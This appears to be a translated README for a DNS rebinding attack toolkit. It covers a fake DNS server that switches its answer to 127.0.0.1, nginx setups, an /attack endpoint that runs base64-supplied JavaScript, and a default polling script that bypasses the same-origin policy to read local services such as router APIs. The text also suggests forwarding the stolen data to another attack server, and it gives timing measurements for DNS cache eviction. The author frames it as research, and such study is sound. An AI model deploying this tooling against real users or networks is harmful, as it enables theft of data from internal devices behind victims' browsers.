
カスタムスクリプト対応のdnsリバインドツール
@tavisio に触発されました
このプロジェクトは、DNSリバインディング攻撃 をさらにテストするためのオールインワンツールキットであり、私がこれらの攻撃を理解するための試みです。Webサーバーと、Aクエリにのみ応答する擬似DNSサーバーで構成されています。
Webサーバーのルートインデックスでは、簡易的なWeb GUIを使って攻撃を設定・実行できます。dnsrebindtool.43z.one をご覧ください。
Webサーバーをホストするための基本的なnginx設定
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
Webサーバーの /attack ルートは、base64エンコードされたJavaScriptを提供するGETパラメータ script を読み取り、デコードされたコード(setTimeoutでラップされている)を通常のHTMLページに埋め込んで応答します。
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
ドメイン 43z.one のレジストラで、サブドメイン rebind のNSレコードを設定し、このツールがホストされているIPを指すようにしました。
ns A 81.4.124.10
rebind NS ns.43z.one
DNSサーバーは、次の形式のAクエリにのみ応答します。
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
最初の部分(サブドメイン)はランダムなIDで、攻撃セッションごとに生成する必要があります(Web GUIはリロードごとにこれを行います)。次に、DNSサーバーが次の2秒間応答するIP、そしてその時間が経過した後にサーバーが応答するIPが続きます。
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
最後に欠けているのは、リバインドドメイン用のnginx設定です。/attack ルートのみをツールに渡し、それ以外はエラーで応答する必要があります。これにより、/attack 以外のすべてのルートでポート80上の他のサービスを攻撃できます(例えば、ルーターが公開するエンドポイント /api/monitoring/stats など)。
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
DNSキャッシュエビクション
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// first time the browser sees this domain it queries the dns server
// and gets 81.4.124.10
// sleep for more than 2 sec
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// still uses 81.4.124.10 (AND NOT 127.0.0.1)
// NO dns query happened browser used cached IP
これはこの種の攻撃にとって問題です。動作させるには、ブラウザが2つ目のIPを取得するために新しいDNSクエリを再発行する必要があります。理論的には、リクエスト間に十分な時間を置けば、新しいクエリが発生するはずです。しかし、私のテストでは、より高速でよりアグレッシブなアプローチがあることが示されました。これはおそらく設定に依存する可能性が高いです。さらなるテストが必要です。WAIT変数の最適値を測定するために、次のスクリプトを使用しました。Chromium 62.0.3202.89(Debian buster/sid上で実行)でテストしました。
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
これを調査するために新しいリポジトリを開始しました: dns cache eviction tester
すべてをまとめてテストします。
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
このnetcatインスタンスは、アクセスしたいコンテンツを提供します。
デフォルトのリバインドドメイン
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
とデフォルトスクリプト
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
を dnsrebindtool.43z.one で開き、Attackボタンを押します。デベロッパーツールのネットワークタブを開いて、バックグラウンドで何が起こっているかを確認します。私の場合、約60秒後に文字列 TOPSECRET とそれにかかった時間が表示されます。DNSリバインディングにより SOP が回避されました。侵害されたデータをiframeから外部に取り出すには、Window.PostMessage() を使用するか、スクリプト自体にデータを別の攻撃サーバーに転送するコードを含めることができます。
| WAIT値 (ms) | Chromeが送信するリクエスト数 | DNSに再クエリするまでの時間 |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |